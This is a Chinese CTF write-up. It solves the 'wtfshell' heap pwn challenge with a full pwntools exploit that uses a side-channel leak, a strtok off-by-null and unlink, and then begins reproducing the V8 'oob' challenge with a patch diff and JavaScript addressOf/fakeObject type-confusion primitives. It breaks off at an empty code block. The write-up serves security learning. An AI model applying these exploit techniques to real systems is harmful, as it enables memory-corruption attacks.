0047: 0x20 0x00 0x00 0x00000010 A = error_code # exit_group(error_code)
0048: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0050
0049: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0051
0050: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0051: 0x06 0x00 0x00 0x00000000 return KILL
0052: 0x20 0x00 0x00 0x00000000 A = sys_number
0053: 0x15 0x00 0x03 0x00000127 if (A != preadv) goto 0057
0054: 0x20 0x00 0x00 0x00000010 A = fd # preadv(fd, vec, vlen, pos_l, pos_h)
0055: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0057
0056: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0057: 0x06 0x00 0x00 0x00000000 return KILL
  • read 的 FD 必须为“0”

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
√ rtfm
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π rtfm. Read This Friendly Manual π // 菜单
π qq. Quit Quietly π // 退出
π lol,[-l]. List Of fiLes π // 显示文件
π rip.[FILE] Redirect InPut π // 重定向输入
π nsfw,FILE,PERM. New Single File for Writing π // 用于写入的新单个文件
π wtf,DATA,FILE. Write data To File π // 将数据写入文件
π omfg,FILE. Output My File Gracefully π // 输出我的文件
π gtfo,FILE. GeT the File Out π // 将文件删除
π ouo. Output current User Out π // 输出当前用户
π stfu,USER. SeT new Friendly User π // 设置新用户
π asap,[USER]. ASsign A new Password π // 设置新密码
π sus,USER. Switch USer π // 切换用户
π shit. SHell InformaTion π // shell信息
π irl. Instantly Reset shelL π // 即时重置shell
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
  • 程序提供了一个菜单,提供了这些功能

比赛时根本找不到洞,只是发现有些不严谨的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int read_pw(char *dest) {
int read_num = 0;
while (read_num < PWMAX) {
int res = read(STDIN_FILENO, &dest[read_num], 1);
if (res < 0) {
terminate();
}
if (dest[read_num] == '\n') {
dest[read_num] = '\0';
return read_num;
}
read_num++;
}
return read_num;
}
  • 这里的 read 最多只能读取 0x40 字节的数据
  • 如果把这 0x40 字节的数据读满,就会导致字符串最后的 “\x00” 被覆盖,从而导致 ushadow[PWMAX]uname 连起来:
1
2
3
4
5
struct user {
char ushadow[PWMAX];
char *uname;
int uid;
};
  • 由于程序不会输出 ushadow[PWMAX],我也就找不到泄露的办法了,直到比赛最后也没有进展了

侧信道攻击

关于侧信道攻击,我之前在复现 SCTF 的 Gadget 时用过一次,用于爆破存储于内存中的 “flag”

网上有位师傅采用了侧信道攻击的方法来泄露存放于 user->uname 的堆地址,我仔细思考了一下,发现本题目确实有侧信道攻击的条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int chk_pw(const char *pw) {
char input;
int pw_len = strlen(pw);
for (int i = 0; i < pw_len + 1; i++) {
int res = read(STDIN_FILENO, &input, 1);
if (res < 0) {
terminate();
}
if (i == pw_len) { // The last character must be a line break
return input == '\n';
}
if (input == '\n') { // Ignore accidental line breaks
i--;
continue;
}
/* If password mismatch, quit immediately */
if (input != pw[i]) {
/* Read characters until '\n' */
while (1) {
int res = read(STDIN_FILENO, &input, 1);
if (res < 0) {
terminate();
}
if (input == '\n') {
return 0;
}
}
}
}
}
  • 程序有一个功能是检查 user->ushadow[PWMAX] 是否和输出值匹配,这里 read 读入的字符数并不是固定的 “0x40”,而是 strlen(pw)
  • 而之前我们已经把 user->ushadow[PWMAX] 末尾的 “\x00” 给去除掉了,因此这个 read 将会读取超过 “0x40” 大小的数据
1
2
3
4
5
6
if (!chk_pw(gusers[i]->ushadow)) {
/* Clear data when error occurs */
bzero(gusers[i]->ushadow, PWMAX);
write_str("asap: pw1 ≠ pw2\n");
return;
}
  • 如果字符不匹配就会立刻返回,并且输出 asap: pw1 ≠ pw2\n

尝试使用侧信道攻击来泄露 user->uname

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leakname(username,password):
heap_addr = "\x80"
try_addr = ''

for i in range(6):
for j in range(0xff):
if(j==0xa):
continue
success("heap_addr >> " + hex(u64(heap_addr.ljust(0x8,'\0'))))
try_addr = heap_addr + chr(j)
cmd("asap.,?!"+username)
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password+try_addr)
ret = p.recvuntil("\n",timeout=0.1)
if b"asap: " not in ret:
heap_addr += chr(j)
p.sendline('\x00')
break
else:
continue
  • 注意以下细节:
    • 爆破时把“\n”排除掉(程序对“\n”有特殊操作)
    • 当字符匹配成功时,需要再输入一个“\x00”来结束当前的 chk_pw 函数

Strtok Off-by-null

strtok 函数会不断往字符串后面遍历,直到遇到 “\x00” 截断,同时 strtok 会将查找到的隔断符 delim 设置为 “\x00”

1
char *strtok(char s[], const char *delim);
  • delim 可以有多个值,单独的这些值都可以完成分割(如果出现连续的多个 delim 中所记录的值,则只把第一个值置为 “\x00”,然后跳过最后一个值返回指针)
  • strtok 第一个参数为 NULL 时,继承的是上一次 strtok 返回的指针

在源码中,可以发现 delim 的值如下:

1
const char delim[] = ".,?!";
  • 对应的 ascii 分别为:0x2e 0x2c 0x3f 0x21

注意这个 0x21,如果某个大 chunk 的低位也是 0x21,那么这最后一字节就有可能被 strtok 给设置为 “\x00”,这里可以实现 off-by-null

init_sh 中对 gbuff 进行了初始化,申请的大小固定为“0x400”

1
2
3
4
5
6
/* Allocate global buffer */
gbuff = xmalloc(GBSIZE);

Allocated chunk | PREV_INUSE
Addr: 0x56241b74e380
Size: 0x411

而我们能够写入的最大范围为“0x400”,根本写入不了 next chunk->presize

1
read_max(gbuff, GBSIZE);

cmd_irl 函数中提供了控制 gbuff 的代码:

1
2
xfree(gbuff);
gbuff = xmalloc(GBSIZE);

于是我们可以提前在一个 chunk 中写好 next chunk->presize,先释放掉它,然后想办法让 xmalloc 重新申请到这个 chunk

  • 本题目的 xfree 会自动把 target chunk 置空
  • 需要利用 xrealloc 来释放 target chunk

注意:写入 next chunk->presize 时不能写入 “\x00”,取而代之的是 “/”,程序会执行以下函数来把 “/” 转换为 “\x00”:

1
2
3
4
5
6
7
8
void remove_slash(char *fname) {
int fname_len = strlen(fname);
for (int i = 0; i < fname_len; i++) {
if (fname[i] == '/') {
fname[i] = '\0';
}
}
}
  • 使用 "rip."+"a"*(0x400-4) 就可以触发

测试代码如下:(这里只是演示效果,堆风水随时可以更改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
presize = 0xdead
payload = p16(presize) + "/"*6

newfile("1",3)
newfile("2",3)
writefile("1","b"*0x300)
rip("1","a"*0x100)
rip("1",payload+"b"*0xf8) # 提前写入next chunk->presize
rip("1","c"*0x100)
rip("1","d"*0x100)
rip("1","e"*0x100)
rip("1","f"*0x100)
rip("1","g"*0x100)
rip("1","h"*0x100)
rip("1","i"*0x100)
rip("1","g"*0x100)

newfile("3",3)
rip("1","b"*0x100)
writefile("2","c"*(0x400-6))
writefile("3","d"*0x310)

"""
pwndbg> x/20xg 0x56532e4f2d30
0x56532e4f2d30: 0x0000000000000000 0x0000000000000411 /* target chunk */
0x56532e4f2d40: 0x6363636363636363 0x6363636363636363
......
0x56532e4f3130: 0x6363636363636363 0x6161616161006363
0x56532e4f3140: 0x2f2f2f2f2f2fdead 0x0000000000000321 /* next chunk */
0x56532e4f3150: 0x6464646464646464 0x6464646464646464
"""

现在要思考的问题就是:如何申请到这个 target chunk

如果释放的 gbuff 进入了 tcache bin,那它很快就可以被申请出来(tcache bin 采用 LIFO),所以在释放 gbuff 前必须先将 tcache bin 填满,并且把这个 target chunk 放入 tcache bin 头部

接下来释放的 gbuff 就会进入 unsortedbin,并且申请到 target chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
rip("3","d"*0x100)
newfile("4"*0x3f8,3)
newfile("5"*0x3f8,3)
newfile("6"*0x3f8,3)
newfile("7"*0x3f8,3)
newfile("8"*0x3f8,3)
newfile("9"*0x3f8,3)
delfile("4"*0x3f8)
delfile("5"*0x3f8)
delfile("6"*0x3f8)
delfile("7"*0x3f8)
delfile("8"*0x3f8)
delfile("9"*0x3f8)

rip("2","e"*0x100)
"""
tcachebins
0x410 [ 7]: 0x55662d896d40 —▸ 0x55662d8998e0 —▸ 0x55662d8994d0 —▸ 0x55662d8990c0 —▸ 0x55662d898cb0 —▸ 0x55662d8988a0 —▸ 0x55662d897590 ◂— 0x0
"""
reboot()
payload = "rip."+"a"*(0x400-4)
cmd(payload)
"""
Allocated chunk | PREV_INUSE /* target chunk */
Addr: 0x55662d896d30
Size: 0x411

Free chunk (unsortedbin) /* next chunk */
Addr: 0x55662d897140
Size: 0x400
fd: 0x55662d8968f0
bk: 0x7f26dc2c0be0
"""
  • "rip."+"a"*(0x400-4) 执行时,会联通 next chunk->presize 一直定位到 next chunk->size 的低字节,然后把这个整体当做 fname

接下来的思路就很明确了,就是搭建堆风水实现堆重叠,然后利用重叠来修改 file->fdata 使其指向“flag1”

在搭建堆风水的过程中,有以下几点需要注意:

  • 由于程序的输入会被“\x00”截断,所以伪造 unlink attack 的时候需要从后往前写入数据
  • 触发 unlink 时,除了常规检查以外,还会进行如下检查:
1
2
3
     if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
  • 如果 p->fd_nextsize 写有数据,并且该 chunk 的大小大于 “0x400”,那么程序就会认为该 chunk 是 large chunk,并在 unlink 时触发这个检查(由于本程序的特殊写入机制,p->fd_nextsize 必须有数据)

在调试堆风水的过程中,发现“0x421”大小的 Chunk 难以利用,于是改为了“0x321”(和上面的测试样例有差别),最后费了九牛二虎之力终于搞好了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
from pwn import *

arch = 64
#challenge = './wtfshell_debug'
challenge = './wtfshell'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendline(op)

def qq():
cmd("qq")

def lol():
cmd("lol.-l")

def rip(filename,data):
cmd("rip."+filename) # filename == NULL => stdout
p.sendline(data)

def newfile(filename,flag):
cmd("nsfw."+filename+"."+str(flag))

"""
* --: 0 (non-readable & non-writable)
* -w: 1 (write only)
* r-: 2 (read only)
* rw: 3 (readable & writable)
"""

def writefile(filename,data):
cmd("wtf."+data+"."+filename)

def showfile(filename):
cmd("omfg."+filename)

def delfile(filename):
cmd("gtfo."+filename)

def deluser():
cmd("ouo")

def newuser(username):
cmd("stfu."+username)

def newpassword(username,password):
cmd("asap."+username) # NULL == root
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password)

def changeuser(username):
cmd("sus."+username) # NULL == root

def shit():
cmd("shit")

def reboot():
cmd("irl")

def leakheap(username,password):
heap_addr = "\x80"
try_addr = ''

for i in range(6):
for j in range(0xff):
if(j==0xa):
continue
#success("heap_addr >> " + hex(u64(heap_addr.ljust(0x8,'\0'))))
try_addr = heap_addr + chr(j)
cmd("asap."+username)
p.sendlineafter("password:",password)
p.sendlineafter("retype password:",password+try_addr)
ret = p.recvuntil("\n",timeout=0.1)
if b"asap: " not in ret:
heap_addr += chr(j)
p.sendline('\x00')
break
else:
continue
return heap_addr

def write_reverse(filename,payload):
whole_size = len(payload)+1
no_null_payload = payload.replace('\x00','a')
for i in range(len(payload)-0x10):
if no_null_payload[whole_size-i-2:whole_size-i-1] == 'a':
writefile(filename,no_null_payload[0:whole_size-i-2])
else:
continue

newuser("yhellow")
newuser("yhellow2")

heap_addr = u64(leakheap("yhellow2","b"*0x40).ljust(0x8,'\0'))
heap_base = heap_addr - 0x880
success("heap_base >> "+hex(heap_base))

presize = 0xd10
payload = p16(presize) + "/"*6

newfile("1",3)
writefile("1","b"*0x300)
rip("1","a"*0x100)
rip("1",payload+"b"*0xf8)
rip("1","c"*0x100)
rip("1","d"*0x100)
rip("1","e"*0x100)
rip("1","f"*0x100)
rip("1","g"*0x100)
rip("1","h"*0x100)
rip("1","i"*0x100)
rip("1","g"*0x100)

newfile("2",3)
newfile("3",3)
rip("1","b"*0x100)
writefile("2","c"*(0x400-6))
writefile("3","d"*0x310)

newfile("4"*0x3f8,3)
newfile("5"*0x3f8,3)
newfile("6"*0x3f8,3)
newfile("7"*0x3f8,3)
newfile("8"*0x3f8,3)
newfile("9"*0x3f8,3)
delfile("4"*0x3f8)
delfile("5"*0x3f8)
delfile("6"*0x3f8)
delfile("7"*0x3f8)
delfile("8"*0x3f8)
delfile("9"*0x3f8)

fakechunk_addr = heap_base + 0x3f0
rip("2","e"*0x100)
reboot()

newfile("1",3)
writefile("1","f"*0x310)
rip("1","e"*0x100)

newfile("4",3)
payload = "p"*0x60
payload += p64(0) + p64(presize+1)
payload += p64(fakechunk_addr+0x18) + p64(fakechunk_addr+0x20)
payload += p64(fakechunk_addr+0x10) + p64(fakechunk_addr+0x18)
payload += p64(fakechunk_addr) + p64(fakechunk_addr)
write_reverse("4",payload)

newfile("2",3)
writefile("2","k"*0x310)
payload = "rip."+"a"*(0x400-4)
cmd(payload)

newfile("3"*0x2f0,3)
newfile("4"*0x2f0,3)
newfile("5"*0x2f0,3)
newfile("6"*0x2f0,3)
newfile("7"*0x2f0,3)
newfile("8"*0x2f0,3)
newfile("9"*0x2f0,3)
delfile("3"*0x2f0)
delfile("4"*0x2f0)
delfile("5"*0x2f0)
delfile("6"*0x2f0)
delfile("7"*0x2f0)
delfile("8"*0x2f0)
delfile("9"*0x2f0)

payload = "a"*0x2f0 + p64(0) + p64(0x41)
write_reverse("2",payload)

#debug()

delfile("2")
newfile("5"*0x30,3)
newfile("6"*0x30,3)
delfile("1")
newfile("7"*0x30,3)
writefile("5"*0x30,"5"*0x360)

flag_addr = heap_base + 0x360
name_addr = heap_base + 0x26c0
payload = "x"*0x338
payload += p64(0x31)+p64(name_addr)+ p64(flag_addr)

write_reverse("7"*0x30,payload)
showfile("6"*0x30)

p.interactive()

小结:

堆风水搭得我吐血,不过还是学到了新的利用姿势

OOB 复现

1
2
3
4
5
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 -f
gclient sync
git apply ./pwn_patch/oob.diff
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release d8

在编译前,需要先在 out.gn/x64.debug/args.gn 中加入以下代码:

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

V8 常用调试命令如下:

1
set args --allow-natives-syntax --shell ./exp.js 

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
  • 为 JSArray 对象新增了一个 ArrayOob 方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); /* 获取Array对象的elements */
uint32_t length = static_cast<uint32_t>(array->length()->Number()); /* 获取Array长度 */
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
  • 如果输入参数个数为“1”:把下标为 length 的元素读取出来(越界读1字)
  • 如果输入参数个数为“2”:在下标为 length 的元素处写入 value(越界写1字)
  • 否则返回 undefined_value
  • PS:this 也算一个参数

JS 对象内存信息布局

现在有 “越界读1字节/越界写1字节”,要想成功利用则需要先掌握 JSArray 对象的内存布局

  • 测试用 JavaScript 代码如下:
1
2
3
4
5
6
7
8
9
10
function Foo(properties, elements) {
for (let i = 0; i < elements; i++) {this[i] = `element${i}`}
for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}
}

const foo = new Foo(12, 12)

for (const key in foo) {
console.log(`key:${key}, value:${foo[key]}`)
}
  • 使用 GDB 进行打印:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
d8> %DebugPrint(foo)
DebugPrint: 0xebe3f60df81: [JS_OBJECT_TYPE]
- map: 0x33a9ca10afe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0ebe3f60de81 <Object map = 0x33a9ca10ac29>
- elements: 0x0ebe3f60e019 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x0ebe3f60eb41 <PropertyArray[3]> {
#property0: 0x0ebe3f60e221 <String[9]: property0> (const data field 0)
#property1: 0x0ebe3f60e291 <String[9]: property1> (const data field 1)
#property2: 0x0ebe3f60e339 <String[9]: property2> (const data field 2)
#property3: 0x0ebe3f60e3d9 <String[9]: property3> (const data field 3)
#property4: 0x0ebe3f60e491 <String[9]: property4> (const data field 4)
#property5: 0x0ebe3f60e561 <String[9]: property5> (const data field 5)
#property6: 0x0ebe3f60e649 <String[9]: property6> (const data field 6)
#property7: 0x0ebe3f60e749 <String[9]: property7> (const data field 7)
#property8: 0x0ebe3f60e861 <String[9]: property8> (const data field 8)
#property9: 0x0ebe3f60e9a9 <String[9]: property9> (const data field 9)
#property10: 0x0ebe3f60e9e9 <String[10]: property10> (const data field 10) properties[0]
#property11: 0x0ebe3f60eb89 <String[10]: property11> (const data field 11) properties[1]
}
- elements: 0x0ebe3f60e019 <FixedArray[17]> {
0: 0x0ebe3f60dfe9 <String[8]: element0>
1: 0x0ebe3f60e0e9 <String[8]: element1>
2: 0x0ebe3f60e101 <String[8]: element2>
3: 0x0ebe3f60e119 <String[8]: element3>
4: 0x0ebe3f60e131 <String[8]: element4>
5: 0x0ebe3f60e149 <String[8]: element5>
6: 0x0ebe3f60e161 <String[8]: element6>
7: 0x0ebe3f60e179 <String[8]: element7>
8: 0x0ebe3f60e191 <String[8]: element8>
9: 0x0ebe3f60e1a9 <String[8]: element9>
10: 0x0ebe3f60e1c1 <String[9]: element10>
11: 0x0ebe3f60e1e1 <String[9]: element11>
12-16: 0x0bb7280405b1 <the_hole>
}
0x33a9ca10afe9: [Map]
- type: JS_OBJECT_TYPE
- instance size: 104
- inobject properties: 10
- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: 12
- stable_map
- back pointer: 0x33a9ca10af99 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0988cf39f971 <Cell value= 0>
- instance descriptors (own) #12: 0x0ebe3f60ea09 <DescriptorArray[12]>
- layout descriptor: (nil)
- prototype: 0x0ebe3f60de81 <Object map = 0x33a9ca10ac29>
- constructor: 0x0988cf39f689 <JSFunction Foo (sfi = 0x988cf39f381)>
- dependent code: 0x0bb7280402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 6

{0: "element0", 1: "element1", 2: "element2", 3: "element3", 4: "element4", 5: "element5", 6: "element6", 7: "element7", 8: "element8", 9: "element9", 10: "element10", 11: "element11", property0: "property0", property1: "property1", property2: "property2", property3: "property3", property4: "property4", property5: "property5", property6: "property6", property7: "property7", property8: "property8", property9: "property9", property10: "property10", property11: "property11"}
  • 打印 JS_OBJECT_TYPE:
1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xg 0xebe3f60df81-1 /* JS_OBJECT_TYPE */
0xebe3f60df80: 0x000033a9ca10afe9 0x00000ebe3f60eb41
0xebe3f60df90: 0x00000ebe3f60e019 0x00000ebe3f60e221
0xebe3f60dfa0: 0x00000ebe3f60e291 0x00000ebe3f60e339
0xebe3f60dfb0: 0x00000ebe3f60e3d9 0x00000ebe3f60e491
0xebe3f60dfc0: 0x00000ebe3f60e561 0x00000ebe3f60e649
0xebe3f60dfd0: 0x00000ebe3f60e749 0x00000ebe3f60e861
0xebe3f60dfe0: 0x00000ebe3f60e9a9 0x00000bb728040941
0xebe3f60dff0: 0x0000000800000003 0x30746e656d656c65
0xebe3f60e000: 0x00000bb728040801 0x0000000100000000
  • 前3个数据分别为 map properties elements 的地址
  • 接下来的10个一字空间分别用于存储 [property0property9]
  • PS:没有使用指针压缩技术(直接把8字节的指针存入内存)

V8 拥有两种类似的属性:

  • 索引属性(Array-indexed Properties)
  • 命名属性(Named Properties)

V8 遍历时一般会先遍历前者,前后两者在底层存储在两个单独的数据结构中,分别用 elementsproperties 两个指针指向它们

  • 如果命名属性少于等于10个时,命名属性会直接存储到对象本身,而无需先通过 properties 指针查询(直接存储到对象本身的属性被称为对象内属性 In-object Properties)
1
2
3
4
pwndbg> x/20xg 0x00000ebe3f60eb41-1 /* properties */
0xebe3f60eb40: 0x00000bb728041909 0x0000000300000000
0xebe3f60eb50: 0x00000ebe3f60e9e9 0x00000ebe3f60eb89
0xebe3f60eb60: 0x00000bb7280404d1 0x00000bb728041f49
  • 从第3个指针开始,就是:[property10property11](前10个存储在对象内部)
1
2
3
4
pwndbg> x/20xg 0x00000ebe3f60e019-1 /* elements */
0xebe3f60e018: 0x00000bb728040801 0x0000001100000000
0xebe3f60e028: 0x00000ebe3f60dfe9 0x00000ebe3f60e0e9
0xebe3f60e038: 0x00000ebe3f60e101 0x00000ebe3f60e119
  • 从第3个指针开始,就是:[element0element11]

对于本题目来说,更重要的特性是:

  • JSArray 对象的 elements 就分配在 JSArray 的相邻上方

测试案例:

1
var floatArray = [1.11, 2.22, 3.33];
1
2
3
d8> %DebugPrint(floatArray)
0x116973d4e061 <JSArray[3]>
[1.11, 2.22, 3.33]
  • JSArray 所在地址为 0x116973d4e061-1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x116973d4e061 /* JSArray */
0x116973d4e061: [JSArray]
- map: 0x0177b6302ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3b1820a11111 <JSArray[0]>
- elements: 0x116973d4e039 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x2ad6f06c0c71 <FixedArray[0]> {
#length: 0x3c17ff4801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x116973d4e039 <FixedDoubleArray[3]> {
0: 1.11
1: 2.22
2: 3.33
}
1
2
3
4
5
6
7
pwndbg> job 0x116973d4e039 /* JSArray->elements */
0x116973d4e039: [FixedDoubleArray]
- map: 0x2ad6f06c14f9 <Map>
- length: 3
0: 1.11
1: 2.22
2: 3.33
  • JSArray->elements 所在地址为 0x116973d4e039-1
1
2
3
4
5
6
pwndbg> p {double}(0x116973d4e048)
$1 = 1.1100000000000001
pwndbg> p {double}(0x116973d4e050)
$2 = 2.2200000000000002
pwndbg> p {double}(0x116973d4e058)
$3 = 3.3300000000000001
  • 可以发现:JSArray->elements 和 JSArray 是相邻的

入侵思路

我们拥有一字的越界写和一字的越界写

这一字的越界读刚好可以泄露出 JSArray->map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var floatArray = [1.11, 2.22, 3.33];
var mapFloatArray = floatArray.oob();

d8> %DebugPrint(floatArray)
0x1a4e1c98e3b1 <JSArray[3]>
[1.11, 2.22, 3.33]
d8> %DebugPrint(mapFloatArray)
0x1a4e1c98e3d1 <HeapNumber 1.81206e-310>
1.81206045893503e-310

pwndbg> x/10xg 0x1a4e1c98e3b1-1
0x1a4e1c98e3b0: 0x0000215b6a782ed9 0x00001a2de1f40c71 // floatArray
0x1a4e1c98e3c0: 0x00001a4e1c98e389 0x0000000300000000
0x1a4e1c98e3d0: 0x00001a2de1f40561 0x0000215b6a782ed9 // mapFloatArray

而一字的越界写则可以对 JSArray->map 进行覆盖,既然可以操作 JSArray->map,那么最优的利用方式肯定就是类型混淆:

  • 由于 JSArray 是利用 map 来判断一个 elements 到底是数字还是指针
  • 如果我们可以修改 map,就可以触发干扰 V8 对类型的判断

常见的类型混淆如下:

  • 指针 -> Double:数字类型可以直接获取数值(用于泄露某个 JS 对象的地址)
  • Double -> 指针:指针类型会被当做一个对象(用于伪造一个 JS 对象,用于 WAA/RAA)

具体代码细节如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray); /* 指针->Double:使指针的地址可以直接被获取 */

let ret = objArray[0];
objArray.oob(mapObjArray);
return ret;
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray); /* Double->指针:令V8把floatArray当做一个对象 */

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

接下来就要实现 WAA 和 RAA,可以通过将 JSArray->elements 数组伪造成一个数组对象,实现任意地址读写

  • elements[0] 写入一个数组的 map,在 elements[2] 写入 target - 0x10
  • 然后再用 fakeObject 方法将 elements[0] 的地址伪造成一个对象 fake_array
  • 再对 fake_array[0] 进行读写,实际上就是对目标地址进行读写了

模型如下:

1670253514098

详细代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
